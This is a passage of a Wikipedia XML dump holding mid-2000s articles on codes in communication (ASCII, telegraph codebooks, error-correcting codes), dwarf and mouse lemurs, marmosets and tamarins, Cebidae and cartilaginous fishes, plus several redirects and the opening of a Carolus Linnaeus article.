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[[he:האזרח קיין]]
[[it:Quarto Potere (film)]]
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[[pl:Obywatel Kane]]
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[[sv:En sensation]]
[[zh:大國民]]</text>
    </revision>
  </page>
  <page>
    <title>Code</title>
    <id>5225</id>
    <revision>
      <id>40872082</id>
      <timestamp>2006-02-23T15:53:32Z</timestamp>
      <contributor>
        <ip>70.255.13.25</ip>
      </contributor>
      <text xml:space="preserve">{{dablink|For other senses of the word &quot;code&quot;, see [[code (disambiguation)]].}}

In [[communication|communications]], a '''code''' is a [[rule]] for converting a piece of [[information]] (for example, a [[letter]], [[word]], or [[phrase]]) into another form or representation, not necessarily of the same type. In [[communication|communications]] and [[information processing]], '''encoding''' is the [[process]] by which a [[source]] ([[object]]) performs this conversion of information into [[data]], which is then sent to a receiver ([[observer]]), such as a [[data processing system]].  '''Decoding''' is the reverse process of converting data, which has been sent by a source, into information understandable by a receiver. (see [[Decoding methods]]) A ''[[codec]]'' is an  implementation of that rule (or [[algorithm]]) for ''coding and decoding'', for example [[MP3]], which may be a [[hardware]] implementation  or a [[Computer software|software]] implementation, and which may include [[compression]].

One reason for coding is to enable communication in places where ordinary spoken or written language is difficult or impossible. For example, a cable code replaces words (e.g., ''ship'' or ''invoice'') into shorter words, allowing the same information to be sent with fewer [[character (computing)|characters]], more quickly, and most important, less expensively. Another example is the use of [[semaphore (communication)|semaphore flags]], where the configuration of flags held by a signaller or the arms of a semaphore tower encodes parts of the message, typically individual letters and numbers. Another person standing a great distance away can interpret the flags and reproduce the words sent.

In the [[history of cryptography]], codes were once common for ensuring the confidentiality of communications, although [[cipher]]s are now used instead. See [[code (cryptography)]].

==Codes in communication used for brevity==
Code can be used for brevity. When telegraph messages were the state of the art in rapid long distance communication, elaborate commercial codes which encoded complete phrases into single words (commonly five-letter groups) were developed, so that [[Telegraphy|telegrapher]]s became conversant with such &quot;words&quot; as ''BYOXO'' (&quot;Are you trying to weasel out of our deal?&quot;), ''LIOUY'' (&quot;Why do you not answer my question?&quot;), ''BMULD'' (&quot;You're a skunk!&quot;), or ''AYYLU'' (&quot;Not clearly coded, repeat more clearly.&quot;). [[Code word]]s were chosen for various reasons: [[length]], [[pronounceability]], etc. Meanings were chosen to fit perceived needs: commercial negotiations, military terms for military codes, diplomatic terms for diplomatic codes, any and all of the preceding for espionage codes, ... Codebooks and codebook publishers proliferated, including one run as a front for the American [[Black Chamber]] run by [[Herbert Yardley]] between WWI and WWII. The purpose of most of these codes was to save on cable costs. The use of data coding for [[data compression]] predates the computer era; an early example is the [[Telegraphy|telegraph]] [[Morse code]] where more frequently-used characters have shorter representations. Techniques such as [[Huffman coding]] are now used by computer-based algorithms to compress large data files into a more compact form for storage or transmission.  

&lt;!--In the computer era since World War II, there are also &quot;codes&quot; for [[data compression]], e.g. [[Huffman coding]], which uses short codes for frequent [[symbol]]s and longer codes for seldom used symbols - the same principle is used in the [[Morse code]]. It and the [[Baudot code]] which uses the same length [[representation]] for all symbols and characters, both go back to telegraph days. The latter was a primary ancestor of the ASCII character code widely used in computers. --&gt;

==An example: the ASCII code==
Probably the most widely known data communications code (aka character representation) in use today is [[ASCII]]. In one or another (somewhat compatible) version, it is used by nearly all personal [[computer]]s, [[computer terminal|terminal]]s, [[computer printer|printer]]s, and other communication equipment. Its original version represents 128 [[character (computing)|characters]] with seven-bit [[Binary numeral system|binary]] numbers&amp;mdash;that is, as a string of seven 1s and 0s. In ASCII a lowercase &quot;a&quot; is always 1100001, an uppercase &quot;A&quot; always 1000001, and so on. Successors to ASCII have included 8-bit characters (for letters of European languages and such things as card suit symbols), and in fullest flowering have included glyphs from essentially all of the world's writing systems (see [[Unicode]] and [[Bob Bemer]]).

==Codes to detect or correct errors (e.g., in storage or transmission)==
Codes may also be used to represent data in a way more resistant
to errors in transmission or storage. Such a &quot;code&quot; is
called an [[Error correction and detection|error-correcting code]], and works by including carefully crafted redundancy with the stored (or transmitted) data. Examples include [[Hamming code]]s, [[Reed-Solomon]], [[Reed-Muller]], [[BCH code|Bose-Chaudhuri-Hochquenghem]], [[Turbo code|Turbo]], [[Golay code|Golay]], [[Goppa code|Goppa]], and [[Robert G. Gallager|Gallager]] [[Low-density parity-check code]]s [[space-time code]].
Error detecting codes are optimised to detect  ''burst errors'', and ''random errors''.

==Codes and acronyms==
[[Acronym|Acronyms]] and abbreviations can be considered codes, and in a sense all [[language|languages]] and writing systems are codes for human thought. Occasionally a code word achieves an independent existence (and meaning) while the original equivalent
phrase is forgotten or at least no longer has the precise meaning attributed to the code word. For example, the number &quot;86&quot; was once used as a code word in [[restaurant]]s meaning &quot;We're out of the requested item&quot;. It is now commonly used to mean the removal or [[destruction]] of something. '30' was widely used in [[journalism]] to mean &quot;end of story&quot;, and it is sometimes used in other contexts to signify &quot;the end&quot;.

==Gödel code==
In [[mathematics]], a [[Gödel code]] was the basis for the proof of [[Gödel]]'s [[incompleteness theorem]]. Here, the idea was to map [[mathematical notation]] to a [[natural number]] (a [[Gödel number]]).

==See also==
[[List of coding terms]]


[[Category:Encodings]]

[[da:Kode]]
[[de:Code]]
[[eo:Kodo]]
[[es:Código]]
[[fr:Code (information)]]
[[hr:Kod]]
[[ja:&amp;#31526;&amp;#21495;]]
[[ko:&amp;#51064;&amp;#53076;&amp;#46377;]]
[[nl:Code]]
[[pl:Kod]]
[[pt:Código]]
[[ru:Кодировка]]
[[sk:Kód]]
[[th:&amp;#3619;&amp;#3627;&amp;#3633;&amp;#3626;]]</text>
    </revision>
  </page>
  <page>
    <title>Chess Pieces</title>
    <id>5226</id>
    <revision>
      <id>15903450</id>
      <timestamp>2002-04-04T15:35:05Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Chess piece]]
</text>
    </revision>
  </page>
  <page>
    <title>Chess Board</title>
    <id>5227</id>
    <revision>
      <id>15903451</id>
      <timestamp>2002-04-04T15:27:15Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Chessboard]]
</text>
    </revision>
  </page>
  <page>
    <title>Cheirogaleidae</title>
    <id>5228</id>
    <revision>
      <id>38783596</id>
      <timestamp>2006-02-08T17:02:34Z</timestamp>
      <contributor>
        <username>MTSbot</username>
        <id>899034</id>
      </contributor>
      <minor />
      <comment>robot  Adding: lt</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Cheirogaleids
| image = Katzenmaki (Chirogaleus furcifer).png
| image_width = 222px
| image_caption = [[Masoala Fork-crowned Lemur]] (''Phaner furcifer'')
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primates]]
| subordo = [[Strepsirhini]]
| infraordo = [[Lemuriformes]]
| superfamilia = '''Cheirogaleoidea'''
| superfamilia_authority = [[John Edward Gray|Gray]], [[1873]]
| familia = '''Cheirogaleidae'''
| familia_authority = [[John Edward Gray|Gray]], [[1873]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = ''[[Cheirogaleus]]''&lt;br/&gt;
''[[Microcebus]]''&lt;br/&gt;
''[[Giant mouse lemur|Mirza]]''&lt;br/&gt;
''[[Hairy-eared Dwarf Mouse-lemur|Allocebus]]''&lt;br/&gt;
''[[Phaner]]''
}}

'''Cheirogaleidae''' is the family [[strepsirrhine]] [[primate]]s that contains the various dwarf and mouse lemurs. Like all other [[lemur]]s, '''cheirogaleids''' live exclusively on the island of [[Madagascar]]. This is the only family in the '''Cheirogaleoidea''' superfamily.

Cheirogaleids are smaller than the other lemurs and, in fact, they are the smallest primates. They have a soft, long fur colored grey-brown to reddish on top with a generally brighter underbelly. Typically they have small ears, large, close set eyes, and long hind legs. Like all strepsirrhines they have fine claws at the second toe of the hind legs. They grow to a size of only 13 to 28 cm, with a tail that is very long, sometimes up to one and a half times as long as the body.

Dwarf and mouse lemurs are [[nocturnal]] and [[arboreal]]. They are excellent climbers and can also jump far, using their long tail for balance. When on the ground (a rare occurrence) they move by hopping on their hind legs. They spend the day in tree hollows or home-made nests. Cheirogaleids are typically solitary but sometimes live together in pairs.

Some species (such as the [[Lesser Dwarf Lemur]]) store fat at the hind legs and the base of the tail and hibernate.

Cheirogaleids are [[omnivore]]s, eating fruits, flowers and leaves (and sometimes  nectar) as well as insects, spiders and small vertebrates.

The females usually have three pairs of nipples. After a meager 60 day gestation, they will bear two to four (usually two or three) young. After five to six weeks these are weaned and become fully mature near the end of their first year or sometime in their second year, depending on the species. In human care, they can live for up to 15 years, although their life expectancy in the wild is probably significantly shorter.

==Classification==
* '''Superfamily Cheirogaleoidea'''
** '''Family Cheirogaleidae'''
*** Genus ''[[Cheirogaleus]]'': dwarf lemurs
**** ''C. medius'' group
***** [[Lesser Dwarf Lemur]], ''Cheirogaleus medius''
***** [[Spiny Desert Dwarf Lemur]], ''Cheirogaleus adipicaudatus''
**** ''C. major'' group
***** [[Greater Dwarf Lemur]], ''Cheirogaleus major''
***** [[Crossley’s Dwarf Lemur]], ''Cheirogaleus crossleyi''
***** [[Small Iron-gray Dwarf Lemur]], ''Cheirogaleus minusculus''
***** [[Large Iron-gray Dwarf Lemur]], ''Cheirogaleus ravus''
***** [[Sibree's Dwarf Lemur]], ''Cheirogaleus sibreei''
*** Genus ''[[Microcebus]]'': mouse lemurs
**** [[Gray Mouse Lemur]], ''Microcebus murinus''
**** [[Red-and-gray Mouse Lemur]], ''Microcebus griseorufus''
**** [[Ravelobe Mouse Lemur]], ''Microcebus ravelobensis''
**** [[Northern Rufous Mouse Lemur]], ''Microcebus tavaratra''
**** [[Sambirano Mouse Lemur]], ''Microcebus sambiranensis''
**** [[Simmons' Mouse Lemur]], ''Microcebus simmonsi''
**** [[Peters' Mouse Lemur]], ''Microcebus myoxinus''
**** [[Eastern Rufous Mouse Lemur]], ''Microcebus rufus''
**** [[Berthe's Mouse Lemur]], ''Microcebus berthae''
**** [[Goodman's Mouse Lemur]], ''Microcebus lehilahytsara''
*** Genus ''[[Giant mouse lemur|Mirza]]'': giant mouse lemurs
**** [[Coquerel's Dwarf Lemur]] or Coquerel's Mouse Lemur, ''Mirza coquereli''
**** [[Northern Giant Mouse Lemur]], ''Mirza zaza''
*** Genus ''[[Hairy-eared Dwarf Lemur|Allocebus]]''
**** [[Hairy-eared Dwarf Lemur]], ''Allocebus trichotis''
*** Genus ''[[Phaner]]'': fork-crown lemurs
**** [[Masoala Fork-crowned Lemur]], ''Phaner furcifer''
**** [[Pale Fork-crowned Lemur]], ''Phaner pallescens''
**** [[Pariente’s Fork-crowned Lemur]], ''Phaner parienti''
**** [[Mt. d’Ambre Fork-crowned Lemur]], ''Phaner electromontis''

{{Wikispecies|Cheirogaleoidea}}
{{Wikispecies|Cheirogaleidae}}

[[Category:Prosimians]]

[[de:Katzenmakis]]
[[fr:Cheirogaleidae]]
[[lt:Nykštukiniai lemūrai]]
[[nl:Dwergmaki's]]
[[ja:コビトキツネザル科]]
[[sv:Muslemurer]]</text>
    </revision>
  </page>
  <page>
    <title>Callitrichinae</title>
    <id>5229</id>
    <revision>
      <id>37515071</id>
      <timestamp>2006-01-31T14:02:24Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Callitrichinae
| image = Callitrichidae-drawing.jpg
| image_width = 225px
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Cebidae]]
| subfamilia = '''Callitrichinae'''
| subfamilia_authority = [[John Edward Gray|Gray]], [[1821]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
''[[Callithrix]]''&lt;br/&gt;
''[[Leontopithecus]]''&lt;br/&gt;
''[[Saguinus]]''&lt;br/&gt;
''[[Callimico]]''
}}
The '''Callitrichinae''' (synonym Hapalinae) are a subfamily within the family [[Cebidae]], one of the four families of [[New World monkeys]].  The subfamily includes several [[genus|genera]], including the [[marmoset]]s and [[tamarin]]s.  Until recently this group of animals were regarded as a separate family, called the Callitrichidae, and this classification will still be encountered in much current literature.

All callitrichines are arboreal.  They are the smallest of the anthropoid (i.e. [[simian]]) [[primate]]s.  They eat insects, fruit, and the sap or gum from trees; occasionally they will take small vertebrates.

Callitrichines typically live in small, [[territory (animal)|territorial]] groups of about 5 or 6 animals.  They are the only primate group that regularly produce twins, which constitute over 80% of births in species that have been studied.  Unlike other male primates, male hapalines generally provide as much parental care as females, more in some cases.  Typical social structure seems to constitute a breeding group, with several of their previous offspring living in the group and providing significant help in rearing the young. 

Studies in captivity, and the first field studies, suggested that the breeding group was invariably a single monogamous pair; subsequent field work on [[Brown-mantled Tamarin]]s (''Saguinus fuscicollis''), has shown that many of the groups involve multiple males, and [[polyandry]] seems to be the commonest arrangement, though monogamous pairs do occur, and so, though rarely, does [[polygyny]].  In polyandrous groups, both (or all) the mature males regularly copulate with the female, and all contribute equally to parental care.  It is now thought that this flexible system, with a tendency towards polyandry, may be the typical mating system among hapalines, though until field studies on more species have been completed any generalisation must be tentative.

== Species list==
'''Subfamily Callitrichinae'''
* Genus ''[[Callithrix]]''
** [[Common Marmoset]], ''Callithrix (Callithrix) jacchus'' 
** [[Black-tufted Marmoset]], ''Callithrix (Callithrix) penicillata''
** [[Wied's Marmoset]], ''Callithrix (Callithrix) kuhlii''
** [[White-headed Marmoset]], ''Callithrix (Callithrix) geoffroyi''
** [[Buffy-headed Marmoset]], ''Callithrix (Callithrix) flaviceps''
** [[Buffy-tufted Marmoset]], ''Callithrix (Callithrix) aurita''
** [[Rio Acari Marmoset]], ''Callithrix (Mico) acariensis''
** [[Manicore Marmoset]], ''Callithrix (Mico) manicorensis''
** [[Silvery Marmoset]], ''Callithrix (Mico) argentata''
** [[White Marmoset]], ''Callithrix (Mico) leucippe''
** [[Emilia's Marmoset]], ''Callithrix (Mico) emiliae''
** [[Black-headed Marmoset]], ''Callithrix (Mico) nigriceps''
** [[Marca's Marmoset]], ''Callithrix (Mico) marcai''
** [[Black-tailed Marmoset]], ''Callithrix (Mico) melanura''
** [[Santarem Marmoset]], ''Callithrix (Mico) humeralifera''
** [[Maués Marmoset]], ''Callithrix (Mico) mauesi''
** [[Gold-and-white Marmoset]], ''Callithrix (Mico) chrysoleuca''
** [[Hershkovitz's Marmoset]], ''Callithrix (Mico) intermedia''
** [[Satéré Marmoset]], ''Callithrix (Mico) saterei''
** [[Roosmalens' Dwarf Marmoset]], ''Callithrix (Callibella) humilis''
** [[Pygmy Marmoset]], ''Callithrix (Cebuella) pygmaea''
* Genus ''[[Leontopithecus]]''
** [[Golden Lion Tamarin]], ''Leontopithecus rosalia''
** [[Golden-headed Lion Tamarin]], ''Leontopithecus chrysomelas''
** [[Black Lion Tamarin]], ''Leontopithecus chrysopygus''
** [[Superagui Lion Tamarin]], ''Leontopithecus caissara''
* Genus ''[[Saguinus]]''
** [[Red-handed Tamarin]], ''Saguinus midas''
** [[Black Tamarin]], ''Saguinus niger''
** [[Black-mantled Tamarin]], ''Saguinus nigricollis''
** [[Graells's Tamarin]], ''Saguinus graellsi''
** [[Brown-mantled Tamarin]], ''Saguinus fuscicollis''
** [[White-mantled Tamarin]], ''Saguinus melanoleucus''
** [[Golden-mantled Tamarin]], ''Saguinus tripartitus''
** [[Moustached Tamarin]], ''Saguinus mystax''
** [[Red-capped Tamarin]], ''Saguinus pileatus''
** [[White-lipped Tamarin]], ''Saguinus labiatus''
** [[Emperor Tamarin]], ''Saguinus imperator''
** [[Pied Tamarin]], ''Saguinus bicolor''
** [[Martins's Tamarin]], ''Saguinus martinsi''
** [[Cottontop Tamarin]] or Pinché Tamarin, ''Saguinus oedipus''
** [[Geoffroy's Tamarin]], ''Saguinus geoffroyi''
** [[White-footed Tamarin]], ''Saguinus leucopus''
** [[Mottle-faced Tamarin]], ''Saguinus inustus''
* Genus ''[[Goeldi's Marmoset|Callimico]]''
** [[Goeldi's Marmoset]], ''Callimico goeldii''

==References==
*Goldizen, A. W. (1988).  Tamarin and marmoset mating systems: Unusual flexibility.  ''Trends in Ecology and Evolution'', 3, 36-40.

==External links==
{{Wikispecies|Callitrichinae}}
* [http://www.junglephotos.com/amazon/amanimals/ammammals/smlmonkeys.shtml Amazon small monkeys: photos and natural history information]

[[Category:New World monkeys]]

[[de:Krallenaffen]]
[[es:Tití]]
[[fr:Callitrichidae]]
[[nl:Klauwaapjes]]
[[pt:Callitrichidae]]
[[sv:Kloapor]]</text>
    </revision>
  </page>
  <page>
    <title>Cebidae</title>
    <id>5230</id>
    <revision>
      <id>41514414</id>
      <timestamp>2006-02-27T21:49:32Z</timestamp>
      <contributor>
        <username>Funky Monkey</username>
        <id>681121</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cebidae
| image = White-throated Capuchin.jpg
| image_width = 200px
| image_caption = [[White-headed Capuchin]]
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primates]]
| subordo = [[Haplorrhini]]
| infraordo = [[Simiiformes]]
| unranked_familia = [[Platyrrhini]]
| familia = '''Cebidae'''
| familia_authority = [[Charles Lucien Bonaparte|Bonaparte]], [[1831]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
''[[Callithrix]]''&lt;br/&gt;
''[[Leontopithecus]]''&lt;br/&gt;
''[[Saguinus]]''&lt;br/&gt;
''[[Goeldi's Marmoset|Callimico]]''&lt;br/&gt;
''[[Cebus]]''&lt;br/&gt;
''[[Saimiri]]''
}}

The '''Cebidae''' form one of the four [[family (biology)|families]] of [[New World monkeys]] now recognised.  It includes the [[marmoset]]s, [[tamarin]]s, [[capuchin monkey]]s and [[squirrel monkey]]s.

==Classification==
Previously, New World monkeys were divided between the [[Callitrichidae]] and this family, but modern classifications place the [[genus|genera]] from Callitrichidae as a [[subfamily]] in Cebidae (named [[Callitrichinae]]), while moving other genera into the other families. As it is most widely recognised today, Cebidae includes six genera organised into three [[subfamily|subfamilies]], though one of these genera is currently purely formal in that it contains only a single species. 

* '''Family Cebidae''': marmosets, tamarins, capuchins and squirrel monkeys
** Subfamily [[Callitrichinae]]
*** Genus ''[[Callithrix]]''
**** [[Common Marmoset]], ''Callithrix (Callithrix) jacchus'' 
**** [[Black-tufted Marmoset]], ''Callithrix (Callithrix) penicillata''
**** [[Wied's Marmoset]], ''Callithrix (Callithrix) kuhlii''
**** [[White-headed Marmoset]], ''Callithrix (Callithrix) geoffroyi''
**** [[Buffy-headed Marmoset]], ''Callithrix (Callithrix) flaviceps''
**** [[Buffy-tufted Marmoset]], ''Callithrix (Callithrix) aurita''
**** [[Silvery Marmoset]], ''Callithrix (Mico) argentata''
**** [[White Marmoset]], ''Callithrix (Mico) leucippe''
**** [[Emilia's Marmoset]], ''Callithrix (Mico) emiliae''
**** [[Black-headed Marmoset]], ''Callithrix (Mico) nigriceps''
**** [[Marca's Marmoset]], ''Callithrix (Mico) marcai''
**** [[Black-tailed Marmoset]], ''Callithrix (Mico) melanura''
**** [[Santarem Marmoset]], ''Callithrix (Mico) humeralifera''
**** [[Maués Marmoset]], ''Callithrix (Mico) mauesi''
**** [[Gold-and-white Marmoset]], ''Callithrix (Mico) chrysoleuca''
**** [[Hershkovitz's Marmoset]], ''Callithrix (Mico) intermedia''
**** [[Dwarf Marmoset]], ''Callithrix (Callibella) humilis''
**** [[Pygmy Marmoset]], ''Callithrix (Cebuella) pygmaea''
*** Genus ''[[Leontopithecus]]''
**** [[Golden Lion Tamarin]], ''Leontopithecus rosalia''
**** [[Golden-headed Lion Tamarin]], ''Leontopithecus chrysomelas''
**** [[Black Lion Tamarin]], ''Leontopithecus chrysopygus''
**** [[Superagui Lion Tamarin]], ''Leontopithecus caissara''
*** Genus ''[[Saguinus]]''
**** [[Red-handed Tamarin]], ''Saguinus midas''
**** [[Black Tamarin]], ''Saguinus niger''
**** [[Black-mantled Tamarin]], ''Saguinus nigricollis''
**** [[Graells's Tamarin]], ''Saguinus graellsi''
**** [[Brown-mantled Tamarin]], ''Saguinus fuscicollis''
**** [[White-mantled Tamarin]], ''Saguinus melanoleucus''
**** [[Golden-mantled Tamarin]], ''Saguinus tripartitus''
**** [[Moustached Tamarin]], ''Saguinus mystax''
**** [[Red-capped Tamarin]], ''Saguinus pileatus''
**** [[White-lipped Tamarin]], ''Saguinus labiatus''
**** [[Emperor Tamarin]], ''Saguinus imperator''
**** [[Pied Tamarin]], ''Saguinus bicolor''
**** [[Martins's Tamarin]], ''Saguinus martinsi''
**** [[Cottontop Tamarin]] or Pinché Tamarin, ''Saguinus oedipus''
**** [[Geoffroy's Tamarin]], ''Saguinus geoffroyi''
**** [[White-footed Tamarin]], ''Saguinus leucopus''
**** [[Mottle-faced Tamarin]], ''Saguinus inustus''
*** Genus ''[[Goeldi's Marmoset|Callimico]]''
**** [[Goeldi's Marmoset]], ''Callimico goeldii''
** Subfamily [[Cebinae]] 
*** Genus ''[[Cebus]]''
**** [[White-headed Capuchin]], ''Cebus capucinus''
**** [[White-fronted Capuchin]], ''Cebus albifrons''
**** [[Weeper Capuchin]], ''Cebus olivaceus''
**** [[Kaapori Capuchin]], ''Cebus kaapori''
**** [[Tufted Capuchin]], ''Cebus apella''
**** [[Black-striped Capuchin]], ''Cebus libidinosus''
**** [[Black Capuchin]], ''Cebus nigritus''
**** [[Golden-bellied Capuchin]], ''Cebus xanthosternos''
** Subfamily [[Saimiriinae]]
*** Genus ''[[Saimiri]]''
**** [[Central American Squirrel Monkey]], ''Saimiri oerstedi''
**** [[Common Squirrel Monkey]], ''Saimiri sciureus''
**** [[Bare-eared Squirrel Monkey]], ''Saimiri ustus''
**** [[Black-capped Squirrel Monkey]], ''Saimiri boliviensis''
**** [[Black Squirrel Monkey]], ''Saimiri vanzolini''

{{Wikispecies|Cebidae}}

[[Category:New World monkeys]]

[[de:Kapuzinerartige]]
[[fr:Cebidae]]
[[lt:Kabiauodegės beždžionės]]
[[nl:Cebidae]]
[[ja:マーモセット科]]
[[pt:Cebidae]]
[[sv:Cebusliknande brednäsor]]</text>
    </revision>
  </page>
  <page>
    <title>Cercopithecidae</title>
    <id>5231</id>
    <revision>
      <id>42095205</id>
      <timestamp>2006-03-03T20:16:07Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Old World monkey]] {{R from scientific name}}</text>
    </revision>
  </page>
  <page>
    <title>Chondrichthyes</title>
    <id>5232</id>
    <revision>
      <id>39189792</id>
      <timestamp>2006-02-11T09:33:05Z</timestamp>
      <contributor>
        <username>Gooberliberation</username>
        <id>324413</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cartilaginous fish&lt;nowiki&gt;es&lt;/nowiki&gt;
| image = large_white_shark.jpg
| image_width = 250px
| image_caption = [[Great White Shark]], ''Carcharodon carcharias''
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| subphylum = [[Vertebrate|Vertebrata]]
| classis = '''Chondrichthyes'''
| classis_authority = [[Thomas Henry Huxley|Huxley]], 1880
| subdivision_ranks = [[Orders (biology)|Orders]]
| subdivision = 
See text.
}}

The '''Chondrichthyes''' or '''cartilaginous fish&lt;nowiki&gt;es&lt;/nowiki&gt;''' are jawed [[fish]] with paired fins, paired nostrils, scales, two-chambered hearts, and skeletons made of cartilage. They consist of several orders:

* Subclass [[Elasmobranchii]] (sharks, rays and skates) 
** Superorder [[Batoidea]] (rays and skates), containing the orders:
**# [[Rajiformes]] (common rays and skates)
**# [[Pristiformes]] ([[Sawfish (fish)|Sawfishes]])
**# [[Torpediniformes]] ([[electric ray]]s)
** Superorder [[Selachimorpha]] ([[shark]]s), containing the orders:
**# [[Hexanchiformes]] Two families are found within this order.  Species of this order are distinguished from other sharks by having additional gill slits (either six or seven).  Examples from this group include the [[cow shark]]s, [[frilled shark]] and even a shark that looks on first inspection to be a marine snake.
**# [[Squaliformes]] Three families and more than 80 species are found within this order.  These sharks have two dorsal fins, often with spines, and no anal fin.  They have teeth designed for cutting in both the upper and lower jaws.  Examples from this group include the [[bramble shark]]s, [[dogfish]]es and [[roughshark]]s.
**# [[Pristiophoriformes]] One family is found within this order.  These are the ''sawsharks'', with an elongate, toothed snout that they use for slashing the fishes that they then eat.
**# [[Squatiniformes]] One family is found within this order.  These are flattened sharks that can be distinguished from the similar appearing skates and rays by the fact that they have the gill slits along the side of the head like all other sharks.  They have a caudal fin (tail) with the lower lobe being much longer in length than the upper, and are commonly referred to as ''angel sharks''.
**# [[Heterodontiformes]] One family is found within this order.  They are commonly referred to as the ''bullhead'', or ''horn sharks''.  They have a variety of teeth allowing them to grasp and then crush [[shellfish]]es.
**# [[Orectolobiformes]] Seven families are found within this order.  They are commonly referred to as the ''carpet sharks'', including [[zebra shark]]s, [[nurse shark]]s, [[wobbegong]]s and the largest of all fishes, the [[whale shark]]s.  They are distinguished by having [[barbels]] at the edge of the nostrils.  Most, but not all are nocturnal.
**# [[Carcharhiniformes]] Eight families are found within this order.  It is the largest order, containing almost 200 species.  They are commonly referred to as the ''groundsharks'', and some of the species include the [[blue shark|blue]], [[tiger shark|tiger]], [[bull shark|bull]], [[reef shark|reef]] and [[oceanic white tipped shark]]s (collectively called the [[requiem shark]]s) along with the [[houndshark]]s, [[catshark]]s and [[hammerhead shark]]s.  They are distinguished by an elongated snout and a nictitating membrane which protects the eyes during an attack.
**# [[Lamniformes]] Seven families are found within this order.  They are commonly referred to as the ''mackerel sharks''.  They include the [[goblin shark]], [[basking shark]], [[megamouth]], the [[Thresher Shark|thresher]], [[mako shark]] and [[great white shark]].  They are distinguished by their large jaws and [[ovoviviparous]] reproduction. The Lamniformes contains the extinct [[Megalodon]] (''Carcharodon megalodon''), which like most extinct sharks is only known by the teeth (the only bone found in these cartilaginous fishes, and therefore are often the only [[fossil|fossils]] produced).  A reproduction of the jaw was based on some of the largest teeth (up to almost 7 inches in length) and suggested a fish that could grow 120 feet in length.  The jaw was realized to be inaccurate, and estimates revised downwards to around 50 feet.
* Subclass [[Holocephali]] ([[chimaera]])

==Characteristics==
Not only does this class have internal fertilization and a reproduction strategy that reminds about what is seen in [[amniote]]s, they have also a relative brain development of its major divisions which reminds about what is found in birds and mammals. Their relative brain weight comes close to that of mammals, and is about ten times of bony fishes at the same size. There are not surprisingly some exceptions; the bony fishes [[mormyrid]]s have a relative brain size to be compared with the brain size of humans, while the primitive Megamouth have a brain of only 0.002 percent of its body weight. One of the explanations why they can have such large brains is because they are using much less energy than one would expect. The density of nerve cells are much lower than in the brain of bony fishes, making it less energy demanding and allows it to be bigger.

Their digestive systems have spiral valves, and with the exception of Holocephali they also have a [[cloaca]].

Because they don't have any bone marrow, the [[red blood cell]]s must be produced somewhere else. The [[spleen]] and special tissue around the [[gonad]]s is where we can find the production of red blood cells, as well as a special organ called Leydig's Organ and is only found in cartilaginous fishes, even if some have lost it. Another unique organ is named epigonal organ, and has probably a role in the immune system. The subclass Holocephali, which is a very specialized group, lacks both of these organs.

Original the pectoral and pelvic girdles, which do not contain any dermal elements, didn't connect. In later forms each pair of fins became ventral connected in the middle when scapulocoracoid and pubioischiadic bars evolved. In rays, the pectoral fins have connected to the head and are very flexible. 

A [[spiracle]] is found behind each eye on most species, even if  Holocephali and some pelagic sharks have lost it.

Their tough skin is covered with dermal teeth (again with Holocephali as an exception as the teeth are lost in adults, only kept on the strange outgrowth seen in males), also called placoid scales or dermal denticles, making it feel like sandpaper. It is assumed that their oral teeth evolved from dermal denticles who migrated into the mouth. But it could also be the other way around as a teleost bony fish named ''Denticeps clupeoides'', the only member in the family Denticipitidae, have most of its head covered by dermal teeth (as do probably ''Atherion elymus'', another species of bony fish). This is most probably a secondary evolved characteristic. Which means there is not necessary a connection between the teeth and the origial dermal scales. The old [[placoderms]] didn't have teeth at all, but had sharp bony plates in their mouth. So what came first, the oral teeth or the dermal teeth, nobody can for the moment tell for sure. Neither is it sure how many times it has happened if it turns out to be the case. Someone have even suggested that the original bony plates of all the vertebrates are gone and that the present scales are just modified teeth, even if both teeth and the body armour have a common origin a long time ago. But for the moment there is no evidence of this.

==References==
{{Wikispecies|Chondrichthyes}}
{{Wikibookspar|Dichotomous Key|Chondrichthyes}}
* [http://www.fmnh.helsinki.fi/users/haaramo/Metazoa/Deuterostoma/Chordata/Chondrichthyes/Chondrichthyes.htm#Elasmobranchii Taxonomy of Chondrichthyes]


[[Category:Chordates]]
[[Category:Cartilaginous fishes| ]]

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  <page>
    <title>Carolus Linnaeus</title>
    <id>5233</id>
    <revision>
      <id>41896303</id>
      <timestamp>2006-03-02T13:09:11Z</timestamp>
      <contributor>
        <username>Obli</username>
        <id>42998</id>
      </contributor>
      <minor />
      <comment>rvv, you missed some</comment>
      <text xml:space="preserve">[[Image:Carl von Linné.jpg|right|thumb|Carolus Linnaeus]]
 
'''Carl Linnaeus''', also known after his [[nobility|ennoblement]] as {{Audio|sv-Carl_von_Linné.ogg|'''Carl von Linné'''}}, and in [[English language|English]] usually under the [[Latin]]ized name '''Carolus Linnaeus''' ([[May 23]], [[1707]] &amp;ndash; [[January 10]], [[1778]]), the name with which his publications were signed, was a [[Sweden|Swedish]] [[botanist]] and [[physician]] who laid the foundations for the modern scheme of [[taxonomy]]. He is also considered one of the fathers of modern [[ecology]] (see [[Ecology (history)|History of ecology]]).

== Biography ==
